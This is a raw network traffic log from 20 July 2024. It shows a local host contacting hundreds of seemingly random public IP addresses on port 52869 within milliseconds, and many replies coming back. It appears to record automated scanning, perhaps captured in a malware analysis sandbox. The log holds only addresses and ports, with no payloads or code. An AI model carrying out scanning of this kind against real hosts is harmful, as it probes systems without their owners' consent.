Jul 20, 2024 23:10:38.961160898 CEST	58771	52869	192.168.2.15	81.20.213.123
Jul 20, 2024 23:10:38.961160898 CEST	58771	52869	192.168.2.15	95.12.105.130
Jul 20, 2024 23:10:38.961160898 CEST	58771	52869	192.168.2.15	103.38.144.193
Jul 20, 2024 23:10:38.961160898 CEST	58771	52869	192.168.2.15	89.238.4.116
Jul 20, 2024 23:10:38.961160898 CEST	58771	52869	192.168.2.15	161.25.104.105
Jul 20, 2024 23:10:38.961160898 CEST	58771	52869	192.168.2.15	52.255.113.177
Jul 20, 2024 23:10:38.961180925 CEST	52869	58771	177.38.52.36	192.168.2.15
Jul 20, 2024 23:10:38.961205959 CEST	52869	58771	105.95.86.135	192.168.2.15
Jul 20, 2024 23:10:38.961539984 CEST	58771	52869	192.168.2.15	162.86.157.208
Jul 20, 2024 23:10:38.961539984 CEST	58771	52869	192.168.2.15	194.154.111.172
Jul 20, 2024 23:10:38.961539984 CEST	58771	52869	192.168.2.15	31.32.123.70
Jul 20, 2024 23:10:38.961539984 CEST	58771	52869	192.168.2.15	200.84.127.59
Jul 20, 2024 23:10:38.961539984 CEST	58771	52869	192.168.2.15	24.54.190.171
Jul 20, 2024 23:10:38.961539984 CEST	58771	52869	192.168.2.15	71.133.185.252
Jul 20, 2024 23:10:38.961539984 CEST	58771	52869	192.168.2.15	42.7.19.149
Jul 20, 2024 23:10:38.961539984 CEST	58771	52869	192.168.2.15	71.48.216.96
Jul 20, 2024 23:10:38.961636066 CEST	52869	58771	128.176.48.11	192.168.2.15
Jul 20, 2024 23:10:38.961657047 CEST	52869	58771	211.205.253.106	192.168.2.15
Jul 20, 2024 23:10:38.963969946 CEST	52869	58771	9.63.142.147	192.168.2.15
Jul 20, 2024 23:10:38.963979959 CEST	52869	58771	44.214.195.50	192.168.2.15
Jul 20, 2024 23:10:38.964020967 CEST	52869	58771	87.187.80.123	192.168.2.15
Jul 20, 2024 23:10:38.964030981 CEST	52869	58771	42.226.194.96	192.168.2.15
Jul 20, 2024 23:10:38.964032888 CEST	50948	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:38.964032888 CEST	58771	52869	192.168.2.15	192.95.64.182
Jul 20, 2024 23:10:38.964034081 CEST	58771	52869	192.168.2.15	72.86.248.151
Jul 20, 2024 23:10:38.964034081 CEST	58771	52869	192.168.2.15	222.198.128.11
Jul 20, 2024 23:10:38.964034081 CEST	58771	52869	192.168.2.15	12.182.225.136
Jul 20, 2024 23:10:38.964034081 CEST	58771	52869	192.168.2.15	92.174.143.55
Jul 20, 2024 23:10:38.964034081 CEST	58771	52869	192.168.2.15	100.187.17.51
Jul 20, 2024 23:10:38.964034081 CEST	58771	52869	192.168.2.15	191.232.128.103
Jul 20, 2024 23:10:38.964040041 CEST	52869	58771	209.158.215.225	192.168.2.15
Jul 20, 2024 23:10:38.964047909 CEST	52869	58771	79.177.210.52	192.168.2.15
Jul 20, 2024 23:10:38.964057922 CEST	52869	58771	8.87.27.46	192.168.2.15
Jul 20, 2024 23:10:38.964073896 CEST	52869	58771	171.72.121.122	192.168.2.15
Jul 20, 2024 23:10:38.964082956 CEST	52869	58771	52.100.16.134	192.168.2.15
Jul 20, 2024 23:10:38.964091063 CEST	52869	58771	157.84.195.186	192.168.2.15
Jul 20, 2024 23:10:38.964098930 CEST	52869	58771	122.219.133.204	192.168.2.15
Jul 20, 2024 23:10:38.964107990 CEST	52869	58771	4.83.208.38	192.168.2.15
Jul 20, 2024 23:10:38.964114904 CEST	52869	58771	164.38.171.12	192.168.2.15
Jul 20, 2024 23:10:38.964123964 CEST	52869	58771	92.229.5.190	192.168.2.15
Jul 20, 2024 23:10:38.964163065 CEST	58771	52869	192.168.2.15	193.31.233.220
Jul 20, 2024 23:10:38.964163065 CEST	58771	52869	192.168.2.15	188.115.137.193
Jul 20, 2024 23:10:38.964163065 CEST	58771	52869	192.168.2.15	25.9.29.130
Jul 20, 2024 23:10:38.964163065 CEST	58771	52869	192.168.2.15	123.134.216.109
Jul 20, 2024 23:10:38.964163065 CEST	58771	52869	192.168.2.15	117.193.40.85
Jul 20, 2024 23:10:38.964163065 CEST	58771	52869	192.168.2.15	181.56.225.93
Jul 20, 2024 23:10:38.964163065 CEST	58771	52869	192.168.2.15	195.195.214.248
Jul 20, 2024 23:10:38.964163065 CEST	58771	52869	192.168.2.15	54.133.252.181
Jul 20, 2024 23:10:38.964189053 CEST	52869	58771	133.209.219.240	192.168.2.15
Jul 20, 2024 23:10:38.964196920 CEST	52869	58771	83.117.230.210	192.168.2.15
Jul 20, 2024 23:10:38.964205027 CEST	52869	58771	61.237.144.247	192.168.2.15
Jul 20, 2024 23:10:38.964214087 CEST	52869	58771	108.222.144.79	192.168.2.15
Jul 20, 2024 23:10:38.964222908 CEST	52869	58771	92.191.190.212	192.168.2.15
Jul 20, 2024 23:10:38.964231968 CEST	52869	58771	150.218.255.222	192.168.2.15
Jul 20, 2024 23:10:38.964240074 CEST	52869	58771	167.194.142.232	192.168.2.15
Jul 20, 2024 23:10:38.964248896 CEST	52869	58771	130.206.234.168	192.168.2.15
Jul 20, 2024 23:10:38.964257002 CEST	52869	58771	182.66.207.94	192.168.2.15
Jul 20, 2024 23:10:38.964265108 CEST	52869	58771	98.58.188.232	192.168.2.15
Jul 20, 2024 23:10:38.964272976 CEST	52869	58771	148.140.13.251	192.168.2.15
Jul 20, 2024 23:10:38.964281082 CEST	52869	58771	61.251.26.109	192.168.2.15
Jul 20, 2024 23:10:38.964972019 CEST	52869	58771	59.126.125.56	192.168.2.15
Jul 20, 2024 23:10:38.965058088 CEST	52869	58771	216.231.235.11	192.168.2.15
Jul 20, 2024 23:10:38.965065956 CEST	58771	52869	192.168.2.15	209.154.19.68
Jul 20, 2024 23:10:38.965065956 CEST	58771	52869	192.168.2.15	82.65.1.78
Jul 20, 2024 23:10:38.965065956 CEST	58771	52869	192.168.2.15	105.187.227.244
Jul 20, 2024 23:10:38.965065956 CEST	58771	52869	192.168.2.15	223.127.152.34
Jul 20, 2024 23:10:38.965065956 CEST	58771	52869	192.168.2.15	85.122.241.135
Jul 20, 2024 23:10:38.965065956 CEST	58771	52869	192.168.2.15	203.42.55.19
Jul 20, 2024 23:10:38.965065956 CEST	58771	52869	192.168.2.15	19.237.242.13
Jul 20, 2024 23:10:38.965065956 CEST	58771	52869	192.168.2.15	189.216.205.236
Jul 20, 2024 23:10:38.965087891 CEST	52869	58771	167.199.225.130	192.168.2.15
Jul 20, 2024 23:10:38.965116024 CEST	52869	58771	177.71.72.22	192.168.2.15
Jul 20, 2024 23:10:38.965143919 CEST	52869	58771	77.56.183.178	192.168.2.15
Jul 20, 2024 23:10:38.965193033 CEST	52869	58771	4.152.82.100	192.168.2.15
Jul 20, 2024 23:10:38.965220928 CEST	52869	58771	222.102.18.252	192.168.2.15
Jul 20, 2024 23:10:38.965249062 CEST	52869	58771	37.62.236.21	192.168.2.15
Jul 20, 2024 23:10:38.965276003 CEST	52869	58771	65.214.40.120	192.168.2.15
Jul 20, 2024 23:10:38.965302944 CEST	52869	58771	8.108.232.162	192.168.2.15
Jul 20, 2024 23:10:38.965331078 CEST	52869	58771	44.232.157.14	192.168.2.15
Jul 20, 2024 23:10:38.965358019 CEST	52869	58771	104.150.162.9	192.168.2.15
Jul 20, 2024 23:10:38.965385914 CEST	52869	58771	200.16.75.58	192.168.2.15
Jul 20, 2024 23:10:38.965413094 CEST	52869	58771	19.131.16.88	192.168.2.15
Jul 20, 2024 23:10:38.965471029 CEST	52869	58771	196.37.119.237	192.168.2.15
Jul 20, 2024 23:10:38.965502024 CEST	52869	58771	36.13.26.234	192.168.2.15
Jul 20, 2024 23:10:38.965531111 CEST	52869	58771	206.142.163.38	192.168.2.15
Jul 20, 2024 23:10:38.965559006 CEST	52869	58771	25.214.179.203	192.168.2.15
Jul 20, 2024 23:10:38.965585947 CEST	52869	58771	180.218.187.69	192.168.2.15
Jul 20, 2024 23:10:38.965634108 CEST	52869	58771	216.70.9.195	192.168.2.15
Jul 20, 2024 23:10:38.965663910 CEST	52869	58771	178.9.46.174	192.168.2.15
Jul 20, 2024 23:10:38.965692043 CEST	52869	58771	42.46.131.77	192.168.2.15
Jul 20, 2024 23:10:38.965719938 CEST	52869	58771	20.72.155.20	192.168.2.15
Jul 20, 2024 23:10:38.965747118 CEST	52869	58771	69.188.160.102	192.168.2.15
Jul 20, 2024 23:10:38.965774059 CEST	52869	58771	9.177.221.9	192.168.2.15
Jul 20, 2024 23:10:38.965801954 CEST	52869	58771	153.234.171.103	192.168.2.15
Jul 20, 2024 23:10:38.965830088 CEST	52869	58771	117.47.44.185	192.168.2.15
Jul 20, 2024 23:10:38.965861082 CEST	52869	58771	130.237.207.172	192.168.2.15
Jul 20, 2024 23:10:38.965946913 CEST	52869	58771	179.245.230.76	192.168.2.15
Jul 20, 2024 23:10:38.965976000 CEST	52869	58771	213.160.133.171	192.168.2.15
Jul 20, 2024 23:10:38.966002941 CEST	52869	58771	191.88.43.108	192.168.2.15
Jul 20, 2024 23:10:38.966120005 CEST	52869	58771	147.124.129.188	192.168.2.15
Jul 20, 2024 23:10:38.966147900 CEST	52869	58771	25.37.55.190	192.168.2.15
Jul 20, 2024 23:10:38.966392994 CEST	52869	58771	201.252.27.167	192.168.2.15
Jul 20, 2024 23:10:38.966694117 CEST	52869	58771	207.236.14.238	192.168.2.15
Jul 20, 2024 23:10:38.966866016 CEST	52869	58771	146.237.216.238	192.168.2.15
Jul 20, 2024 23:10:38.966881037 CEST	52869	58771	60.3.61.97	192.168.2.15
Jul 20, 2024 23:10:38.967031956 CEST	58771	52869	192.168.2.15	136.25.82.148
Jul 20, 2024 23:10:38.967031956 CEST	58771	52869	192.168.2.15	92.89.175.241
Jul 20, 2024 23:10:38.967031956 CEST	58771	52869	192.168.2.15	61.177.78.59
Jul 20, 2024 23:10:38.967031956 CEST	58771	52869	192.168.2.15	52.139.121.199
Jul 20, 2024 23:10:38.967031956 CEST	58771	52869	192.168.2.15	223.141.36.108
Jul 20, 2024 23:10:38.967031956 CEST	58771	52869	192.168.2.15	116.113.19.95
Jul 20, 2024 23:10:38.967031956 CEST	58771	52869	192.168.2.15	175.142.67.178
Jul 20, 2024 23:10:38.967031956 CEST	58771	52869	192.168.2.15	111.87.163.163
Jul 20, 2024 23:10:38.967163086 CEST	52869	58771	134.213.55.87	192.168.2.15
Jul 20, 2024 23:10:38.967171907 CEST	52869	58771	5.187.25.199	192.168.2.15
Jul 20, 2024 23:10:38.967180014 CEST	52869	58771	162.86.157.208	192.168.2.15
Jul 20, 2024 23:10:38.967287064 CEST	52869	58771	197.250.222.67	192.168.2.15
Jul 20, 2024 23:10:38.967292070 CEST	58771	52869	192.168.2.15	36.133.80.61
Jul 20, 2024 23:10:38.967292070 CEST	58771	52869	192.168.2.15	143.197.112.0
Jul 20, 2024 23:10:38.967292070 CEST	58771	52869	192.168.2.15	209.59.105.240
Jul 20, 2024 23:10:38.967292070 CEST	58771	52869	192.168.2.15	222.148.81.217
Jul 20, 2024 23:10:38.967292070 CEST	58771	52869	192.168.2.15	192.14.38.115
Jul 20, 2024 23:10:38.967292070 CEST	58771	52869	192.168.2.15	195.14.87.0
Jul 20, 2024 23:10:38.967292070 CEST	58771	52869	192.168.2.15	186.36.188.212
Jul 20, 2024 23:10:38.967292070 CEST	58771	52869	192.168.2.15	173.90.20.25
Jul 20, 2024 23:10:38.967834949 CEST	52869	58771	8.53.138.98	192.168.2.15
Jul 20, 2024 23:10:38.968485117 CEST	58771	52869	192.168.2.15	58.116.3.181
Jul 20, 2024 23:10:38.968485117 CEST	58771	52869	192.168.2.15	119.181.57.49
Jul 20, 2024 23:10:38.968485117 CEST	58771	52869	192.168.2.15	54.27.197.136
Jul 20, 2024 23:10:38.968485117 CEST	58771	52869	192.168.2.15	103.227.90.102
Jul 20, 2024 23:10:38.968485117 CEST	58771	52869	192.168.2.15	205.191.216.245
Jul 20, 2024 23:10:38.968485117 CEST	58771	52869	192.168.2.15	101.64.153.253
Jul 20, 2024 23:10:38.968485117 CEST	58771	52869	192.168.2.15	48.100.128.90
Jul 20, 2024 23:10:38.968485117 CEST	58771	52869	192.168.2.15	38.33.145.83
Jul 20, 2024 23:10:38.968571901 CEST	52869	58771	8.53.138.98	192.168.2.15
Jul 20, 2024 23:10:38.968588114 CEST	52869	58771	194.154.111.172	192.168.2.15
Jul 20, 2024 23:10:38.968600988 CEST	52869	58771	72.205.255.41	192.168.2.15
Jul 20, 2024 23:10:38.968615055 CEST	52869	58771	81.20.213.123	192.168.2.15
Jul 20, 2024 23:10:38.968626976 CEST	52869	58771	102.187.49.183	192.168.2.15
Jul 20, 2024 23:10:38.968640089 CEST	52869	58771	31.32.123.70	192.168.2.15
Jul 20, 2024 23:10:38.968652010 CEST	52869	58771	198.17.103.134	192.168.2.15
Jul 20, 2024 23:10:38.968664885 CEST	52869	58771	72.77.112.241	192.168.2.15
Jul 20, 2024 23:10:38.968779087 CEST	52869	58771	52.74.111.144	192.168.2.15
Jul 20, 2024 23:10:38.969060898 CEST	52869	58771	95.12.105.130	192.168.2.15
Jul 20, 2024 23:10:38.969079971 CEST	52869	58771	200.84.127.59	192.168.2.15
Jul 20, 2024 23:10:38.969089985 CEST	52869	58771	88.183.173.179	192.168.2.15
Jul 20, 2024 23:10:38.969260931 CEST	52869	58771	176.97.222.132	192.168.2.15
Jul 20, 2024 23:10:38.969537973 CEST	52869	58771	193.31.233.220	192.168.2.15
Jul 20, 2024 23:10:38.969682932 CEST	52869	58771	192.95.64.182	192.168.2.15
Jul 20, 2024 23:10:38.969712973 CEST	52869	58771	79.68.103.18	192.168.2.15
Jul 20, 2024 23:10:38.969772100 CEST	58771	52869	192.168.2.15	117.174.46.175
Jul 20, 2024 23:10:38.969772100 CEST	58771	52869	192.168.2.15	112.136.93.137
Jul 20, 2024 23:10:38.969772100 CEST	58771	52869	192.168.2.15	106.231.40.92
Jul 20, 2024 23:10:38.969772100 CEST	58771	52869	192.168.2.15	166.103.193.134
Jul 20, 2024 23:10:38.969772100 CEST	58771	52869	192.168.2.15	187.144.190.134
Jul 20, 2024 23:10:38.969772100 CEST	58771	52869	192.168.2.15	120.147.99.237
Jul 20, 2024 23:10:38.969772100 CEST	58771	52869	192.168.2.15	68.242.232.23
Jul 20, 2024 23:10:38.969772100 CEST	58771	52869	192.168.2.15	216.85.14.238
Jul 20, 2024 23:10:38.970052958 CEST	52869	58771	103.38.144.193	192.168.2.15
Jul 20, 2024 23:10:38.970139027 CEST	52869	58771	188.115.137.193	192.168.2.15
Jul 20, 2024 23:10:38.970784903 CEST	52869	58771	94.178.164.10	192.168.2.15
Jul 20, 2024 23:10:38.970803022 CEST	52869	58771	72.86.248.151	192.168.2.15
Jul 20, 2024 23:10:38.970868111 CEST	52869	58771	24.54.190.171	192.168.2.15
Jul 20, 2024 23:10:38.970879078 CEST	52869	58771	222.198.128.11	192.168.2.15
Jul 20, 2024 23:10:38.971143961 CEST	58771	52869	192.168.2.15	164.241.4.82
Jul 20, 2024 23:10:38.971143961 CEST	58771	52869	192.168.2.15	134.133.7.125
Jul 20, 2024 23:10:38.971143961 CEST	58771	52869	192.168.2.15	203.131.145.116
Jul 20, 2024 23:10:38.971143961 CEST	58771	52869	192.168.2.15	145.245.159.60
Jul 20, 2024 23:10:38.971143961 CEST	58771	52869	192.168.2.15	112.27.18.227
Jul 20, 2024 23:10:38.971143961 CEST	58771	52869	192.168.2.15	151.158.201.231
Jul 20, 2024 23:10:38.971143961 CEST	58771	52869	192.168.2.15	169.252.47.253
Jul 20, 2024 23:10:38.971143961 CEST	58771	52869	192.168.2.15	43.133.8.12
Jul 20, 2024 23:10:38.971157074 CEST	52869	58771	209.154.19.68	192.168.2.15
Jul 20, 2024 23:10:38.971168041 CEST	52869	58771	12.182.225.136	192.168.2.15
Jul 20, 2024 23:10:38.971178055 CEST	52869	58771	82.65.1.78	192.168.2.15
Jul 20, 2024 23:10:38.971188068 CEST	52869	58771	71.133.185.252	192.168.2.15
Jul 20, 2024 23:10:38.971196890 CEST	52869	58771	92.174.143.55	192.168.2.15
Jul 20, 2024 23:10:38.971206903 CEST	52869	58771	89.238.4.116	192.168.2.15
Jul 20, 2024 23:10:38.971848011 CEST	52869	58771	42.7.19.149	192.168.2.15
Jul 20, 2024 23:10:38.971879959 CEST	52869	58771	161.25.104.105	192.168.2.15
Jul 20, 2024 23:10:38.971909046 CEST	52869	58771	25.9.29.130	192.168.2.15
Jul 20, 2024 23:10:38.971952915 CEST	52869	58771	100.187.17.51	192.168.2.15
Jul 20, 2024 23:10:38.972024918 CEST	52869	58771	52.255.113.177	192.168.2.15
Jul 20, 2024 23:10:38.972172976 CEST	52869	58771	123.134.216.109	192.168.2.15
Jul 20, 2024 23:10:38.972202063 CEST	52869	58771	71.48.216.96	192.168.2.15
Jul 20, 2024 23:10:38.972238064 CEST	58771	52869	192.168.2.15	93.70.16.216
Jul 20, 2024 23:10:38.972238064 CEST	58771	52869	192.168.2.15	102.55.203.115
Jul 20, 2024 23:10:38.972238064 CEST	58771	52869	192.168.2.15	186.84.170.101
Jul 20, 2024 23:10:38.972239017 CEST	58771	52869	192.168.2.15	1.148.167.254
Jul 20, 2024 23:10:38.972239017 CEST	58771	52869	192.168.2.15	166.52.15.70
Jul 20, 2024 23:10:38.972239017 CEST	58771	52869	192.168.2.15	107.76.125.57
Jul 20, 2024 23:10:38.972239017 CEST	58771	52869	192.168.2.15	90.236.161.92
Jul 20, 2024 23:10:38.972239017 CEST	58771	52869	192.168.2.15	170.145.38.103
Jul 20, 2024 23:10:38.972568035 CEST	52869	58771	117.193.40.85	192.168.2.15
Jul 20, 2024 23:10:38.972598076 CEST	52869	58771	105.187.227.244	192.168.2.15
Jul 20, 2024 23:10:38.972630024 CEST	52869	58771	181.56.225.93	192.168.2.15
Jul 20, 2024 23:10:38.972735882 CEST	52869	58771	223.127.152.34	192.168.2.15
Jul 20, 2024 23:10:38.972765923 CEST	52869	58771	36.133.80.61	192.168.2.15
Jul 20, 2024 23:10:38.973043919 CEST	52869	58771	191.232.128.103	192.168.2.15
Jul 20, 2024 23:10:38.973094940 CEST	52869	58771	143.197.112.0	192.168.2.15
Jul 20, 2024 23:10:38.973200083 CEST	52869	58771	136.25.82.148	192.168.2.15
Jul 20, 2024 23:10:38.973227978 CEST	58771	52869	192.168.2.15	160.221.155.151
Jul 20, 2024 23:10:38.973228931 CEST	58771	52869	192.168.2.15	209.227.250.145
Jul 20, 2024 23:10:38.973228931 CEST	58771	52869	192.168.2.15	49.109.114.24
Jul 20, 2024 23:10:38.973228931 CEST	58771	52869	192.168.2.15	178.229.97.234
Jul 20, 2024 23:10:38.973228931 CEST	58771	52869	192.168.2.15	155.81.106.165
Jul 20, 2024 23:10:38.973228931 CEST	58771	52869	192.168.2.15	104.41.98.203
Jul 20, 2024 23:10:38.973228931 CEST	58771	52869	192.168.2.15	98.66.219.40
Jul 20, 2024 23:10:38.973228931 CEST	58771	52869	192.168.2.15	39.86.115.242
Jul 20, 2024 23:10:38.973505020 CEST	52869	58771	209.59.105.240	192.168.2.15
Jul 20, 2024 23:10:38.974160910 CEST	58771	52869	192.168.2.15	169.180.131.93
Jul 20, 2024 23:10:38.974160910 CEST	58771	52869	192.168.2.15	173.198.50.188
Jul 20, 2024 23:10:38.974160910 CEST	58771	52869	192.168.2.15	138.116.86.109
Jul 20, 2024 23:10:38.974160910 CEST	58771	52869	192.168.2.15	198.101.221.147
Jul 20, 2024 23:10:38.974160910 CEST	58771	52869	192.168.2.15	217.165.15.99
Jul 20, 2024 23:10:38.974160910 CEST	58771	52869	192.168.2.15	183.152.46.183
Jul 20, 2024 23:10:38.974160910 CEST	58771	52869	192.168.2.15	92.82.130.170
Jul 20, 2024 23:10:38.974160910 CEST	58771	52869	192.168.2.15	34.81.155.133
Jul 20, 2024 23:10:38.974275112 CEST	52869	58771	85.122.241.135	192.168.2.15
Jul 20, 2024 23:10:38.974284887 CEST	52869	58771	92.89.175.241	192.168.2.15
Jul 20, 2024 23:10:38.974292994 CEST	52869	58771	222.148.81.217	192.168.2.15
Jul 20, 2024 23:10:38.974301100 CEST	52869	58771	195.195.214.248	192.168.2.15
Jul 20, 2024 23:10:38.974308014 CEST	52869	58771	58.116.3.181	192.168.2.15
Jul 20, 2024 23:10:38.974489927 CEST	52869	58771	192.14.38.115	192.168.2.15
Jul 20, 2024 23:10:38.974744081 CEST	52869	58771	61.177.78.59	192.168.2.15
Jul 20, 2024 23:10:38.974771023 CEST	52869	58771	54.133.252.181	192.168.2.15
Jul 20, 2024 23:10:38.974870920 CEST	52869	58771	52.139.121.199	192.168.2.15
Jul 20, 2024 23:10:38.975076914 CEST	52869	58771	117.174.46.175	192.168.2.15
Jul 20, 2024 23:10:38.975224018 CEST	52869	58771	223.141.36.108	192.168.2.15
Jul 20, 2024 23:10:38.975276947 CEST	52869	58771	112.136.93.137	192.168.2.15
Jul 20, 2024 23:10:38.975286007 CEST	52869	58771	195.14.87.0	192.168.2.15
Jul 20, 2024 23:10:38.975764036 CEST	58771	52869	192.168.2.15	77.179.58.34
Jul 20, 2024 23:10:38.975764036 CEST	58771	52869	192.168.2.15	5.217.122.202
Jul 20, 2024 23:10:38.975764036 CEST	58771	52869	192.168.2.15	103.192.13.82
Jul 20, 2024 23:10:38.975764036 CEST	58771	52869	192.168.2.15	126.247.80.60
Jul 20, 2024 23:10:38.975764036 CEST	58771	52869	192.168.2.15	157.131.235.29
Jul 20, 2024 23:10:38.975764036 CEST	58771	52869	192.168.2.15	75.58.233.33
Jul 20, 2024 23:10:38.975764036 CEST	58771	52869	192.168.2.15	177.59.245.209
Jul 20, 2024 23:10:38.975764036 CEST	58771	52869	192.168.2.15	166.30.209.35
Jul 20, 2024 23:10:38.977052927 CEST	58771	52869	192.168.2.15	158.161.126.217
Jul 20, 2024 23:10:38.977052927 CEST	58771	52869	192.168.2.15	92.52.146.107
Jul 20, 2024 23:10:38.977052927 CEST	58771	52869	192.168.2.15	109.111.235.58
Jul 20, 2024 23:10:38.977052927 CEST	58771	52869	192.168.2.15	36.172.179.240
Jul 20, 2024 23:10:38.977052927 CEST	58771	52869	192.168.2.15	160.69.221.68
Jul 20, 2024 23:10:38.977052927 CEST	58771	52869	192.168.2.15	219.116.181.0
Jul 20, 2024 23:10:38.977054119 CEST	58771	52869	192.168.2.15	160.29.196.231
Jul 20, 2024 23:10:38.977054119 CEST	58771	52869	192.168.2.15	27.17.138.84
Jul 20, 2024 23:10:38.977736950 CEST	58771	52869	192.168.2.15	113.222.34.152
Jul 20, 2024 23:10:38.977736950 CEST	58771	52869	192.168.2.15	74.156.46.132
Jul 20, 2024 23:10:38.977736950 CEST	58771	52869	192.168.2.15	133.94.89.69
Jul 20, 2024 23:10:38.977737904 CEST	58771	52869	192.168.2.15	108.61.81.113
Jul 20, 2024 23:10:38.977737904 CEST	58771	52869	192.168.2.15	181.197.235.182
Jul 20, 2024 23:10:38.977737904 CEST	58771	52869	192.168.2.15	162.46.246.161
Jul 20, 2024 23:10:38.977737904 CEST	58771	52869	192.168.2.15	51.213.60.163
Jul 20, 2024 23:10:38.977737904 CEST	58771	52869	192.168.2.15	201.142.86.127
Jul 20, 2024 23:10:38.979645014 CEST	58771	52869	192.168.2.15	179.232.254.227
Jul 20, 2024 23:10:38.979645014 CEST	58771	52869	192.168.2.15	87.185.213.216
Jul 20, 2024 23:10:38.979645014 CEST	58771	52869	192.168.2.15	41.251.78.177
Jul 20, 2024 23:10:38.979645014 CEST	58771	52869	192.168.2.15	178.66.185.45
Jul 20, 2024 23:10:38.979645014 CEST	58771	52869	192.168.2.15	154.61.109.197
Jul 20, 2024 23:10:38.979645014 CEST	58771	52869	192.168.2.15	91.189.246.64
Jul 20, 2024 23:10:38.979645014 CEST	58771	52869	192.168.2.15	27.90.178.54
Jul 20, 2024 23:10:38.979645967 CEST	58771	52869	192.168.2.15	170.110.46.30
Jul 20, 2024 23:10:38.980211020 CEST	41286	52869	192.168.2.15	137.22.60.132
Jul 20, 2024 23:10:38.980211973 CEST	58771	52869	192.168.2.15	109.93.128.209
Jul 20, 2024 23:10:38.980211973 CEST	58771	52869	192.168.2.15	165.248.89.125
Jul 20, 2024 23:10:38.980211973 CEST	58771	52869	192.168.2.15	118.220.208.246
Jul 20, 2024 23:10:38.980211973 CEST	58771	52869	192.168.2.15	57.13.138.62
Jul 20, 2024 23:10:38.980211973 CEST	58771	52869	192.168.2.15	154.9.232.23
Jul 20, 2024 23:10:38.980211973 CEST	58771	52869	192.168.2.15	169.79.227.81
Jul 20, 2024 23:10:38.980211973 CEST	58771	52869	192.168.2.15	4.68.54.79
Jul 20, 2024 23:10:38.980707884 CEST	52869	58771	119.181.57.49	192.168.2.15
Jul 20, 2024 23:10:38.980721951 CEST	52869	58771	106.231.40.92	192.168.2.15
Jul 20, 2024 23:10:38.980731010 CEST	52869	58771	186.36.188.212	192.168.2.15
Jul 20, 2024 23:10:38.980740070 CEST	52869	58771	203.42.55.19	192.168.2.15
Jul 20, 2024 23:10:38.980747938 CEST	52869	58771	173.90.20.25	192.168.2.15
Jul 20, 2024 23:10:38.980752945 CEST	52869	58771	116.113.19.95	192.168.2.15
Jul 20, 2024 23:10:38.980756998 CEST	52869	58771	166.103.193.134	192.168.2.15
Jul 20, 2024 23:10:38.980761051 CEST	52869	58771	164.241.4.82	192.168.2.15
Jul 20, 2024 23:10:38.980768919 CEST	52869	58771	175.142.67.178	192.168.2.15
Jul 20, 2024 23:10:38.980777025 CEST	52869	58771	54.27.197.136	192.168.2.15
Jul 20, 2024 23:10:38.980786085 CEST	52869	58771	19.237.242.13	192.168.2.15
Jul 20, 2024 23:10:38.980793953 CEST	52869	58771	111.87.163.163	192.168.2.15
Jul 20, 2024 23:10:38.980803013 CEST	52869	58771	187.144.190.134	192.168.2.15
Jul 20, 2024 23:10:38.980811119 CEST	52869	58771	103.227.90.102	192.168.2.15
Jul 20, 2024 23:10:38.980818987 CEST	52869	58771	93.70.16.216	192.168.2.15
Jul 20, 2024 23:10:38.980829000 CEST	52869	58771	134.133.7.125	192.168.2.15
Jul 20, 2024 23:10:38.980837107 CEST	52869	58771	120.147.99.237	192.168.2.15
Jul 20, 2024 23:10:38.980844975 CEST	52869	58771	189.216.205.236	192.168.2.15
Jul 20, 2024 23:10:38.980854034 CEST	52869	58771	203.131.145.116	192.168.2.15
Jul 20, 2024 23:10:38.980863094 CEST	52869	58771	68.242.232.23	192.168.2.15
Jul 20, 2024 23:10:38.980870962 CEST	52869	58771	145.245.159.60	192.168.2.15
Jul 20, 2024 23:10:38.980879068 CEST	52869	58771	102.55.203.115	192.168.2.15
Jul 20, 2024 23:10:38.980884075 CEST	52869	58771	205.191.216.245	192.168.2.15
Jul 20, 2024 23:10:38.980895996 CEST	52869	58771	186.84.170.101	192.168.2.15
Jul 20, 2024 23:10:38.980905056 CEST	52869	58771	216.85.14.238	192.168.2.15
Jul 20, 2024 23:10:38.980914116 CEST	52869	58771	112.27.18.227	192.168.2.15
Jul 20, 2024 23:10:38.980921030 CEST	52869	58771	160.221.155.151	192.168.2.15
Jul 20, 2024 23:10:38.980930090 CEST	52869	58771	169.180.131.93	192.168.2.15
Jul 20, 2024 23:10:38.980942011 CEST	52869	58771	1.148.167.254	192.168.2.15
Jul 20, 2024 23:10:38.980956078 CEST	52869	58771	151.158.201.231	192.168.2.15
Jul 20, 2024 23:10:38.980964899 CEST	52869	58771	173.198.50.188	192.168.2.15
Jul 20, 2024 23:10:38.980973959 CEST	52869	58771	169.252.47.253	192.168.2.15
Jul 20, 2024 23:10:38.980983019 CEST	52869	58771	101.64.153.253	192.168.2.15
Jul 20, 2024 23:10:38.980992079 CEST	52869	58771	138.116.86.109	192.168.2.15
Jul 20, 2024 23:10:38.981882095 CEST	58771	52869	192.168.2.15	165.248.194.220
Jul 20, 2024 23:10:38.981882095 CEST	58771	52869	192.168.2.15	185.11.210.188
Jul 20, 2024 23:10:38.981882095 CEST	58771	52869	192.168.2.15	82.110.100.250
Jul 20, 2024 23:10:38.981882095 CEST	58771	52869	192.168.2.15	87.208.203.210
Jul 20, 2024 23:10:38.981882095 CEST	58771	52869	192.168.2.15	24.38.240.51
Jul 20, 2024 23:10:38.981882095 CEST	52870	80	192.168.2.15	88.72.94.182
Jul 20, 2024 23:10:38.981882095 CEST	58771	52869	192.168.2.15	73.237.50.172
Jul 20, 2024 23:10:38.981882095 CEST	58771	52869	192.168.2.15	168.60.99.105
Jul 20, 2024 23:10:38.982358932 CEST	58771	52869	192.168.2.15	201.163.86.45
Jul 20, 2024 23:10:38.982358932 CEST	58771	52869	192.168.2.15	122.220.2.110
Jul 20, 2024 23:10:38.982359886 CEST	58771	52869	192.168.2.15	70.167.51.81
Jul 20, 2024 23:10:38.982359886 CEST	58771	52869	192.168.2.15	184.226.113.143
Jul 20, 2024 23:10:38.982359886 CEST	58771	52869	192.168.2.15	176.7.200.170
Jul 20, 2024 23:10:38.982359886 CEST	58771	52869	192.168.2.15	45.196.65.253
Jul 20, 2024 23:10:38.982359886 CEST	58771	52869	192.168.2.15	37.152.21.206
Jul 20, 2024 23:10:38.982359886 CEST	58771	52869	192.168.2.15	190.217.179.48
Jul 20, 2024 23:10:38.983758926 CEST	58771	52869	192.168.2.15	140.223.133.228
Jul 20, 2024 23:10:38.983758926 CEST	58771	52869	192.168.2.15	143.39.73.238
Jul 20, 2024 23:10:38.983758926 CEST	58771	52869	192.168.2.15	89.44.192.146
Jul 20, 2024 23:10:38.983758926 CEST	58771	52869	192.168.2.15	174.22.107.242
Jul 20, 2024 23:10:38.983758926 CEST	58771	52869	192.168.2.15	143.231.161.204
